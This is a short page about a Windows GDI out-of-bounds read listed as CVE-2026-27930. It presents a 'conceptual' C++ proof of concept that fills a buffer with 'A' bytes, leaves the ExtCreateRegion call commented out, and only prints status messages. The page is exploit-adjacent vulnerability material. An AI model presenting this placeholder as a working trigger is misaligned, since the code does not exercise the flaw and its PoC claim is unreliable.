CVE-2026-27930 Windows GDI越界读取漏洞

/* * PoC for CVE-2026-27930 (Conceptual) * This code demonstrates a potential trigger for an Out-of-Bounds Read in Windows GDI. * Note: Actual exploitation requires specific crafted data structures. */ #include <windows.h> #include <iostream> int main() { std::cout << "[*] Initializing GDI PoC for CVE-2026-27930..." << std::endl; // Simulate a malformed buffer that might be passed to a GDI API // In a real scenario, this would be a specific EMF record or Bitmap header SIZE_T bufferSize = 0x100; BYTE* malformedBuffer = (BYTE*)malloc(bufferSize); if (malformedBuffer) { // Fill buffer with pattern 'A' to simulate corrupted data memset(malformedBuffer, 0x41, bufferSize); // Hypothetical vulnerable function call (e.g., ExtCreateRegion, StretchBlt) // The vulnerability occurs when the API reads past the buffer bounds // based on a malformed length field inside the buffer. // // Example: Triggering the vulnerability via a specific Region creation // HRGN hRgn = ExtCreateRegion(NULL, bufferSize, (RGNDATA*)malformedBuffer); std::cout << "[!] Attempting to trigger Out-of-Bounds Read..." << std::endl; std::cout << "[!] Check debugger for Access Violation or memory disclosure." << std::endl; free(malformedBuffer); } return 0; }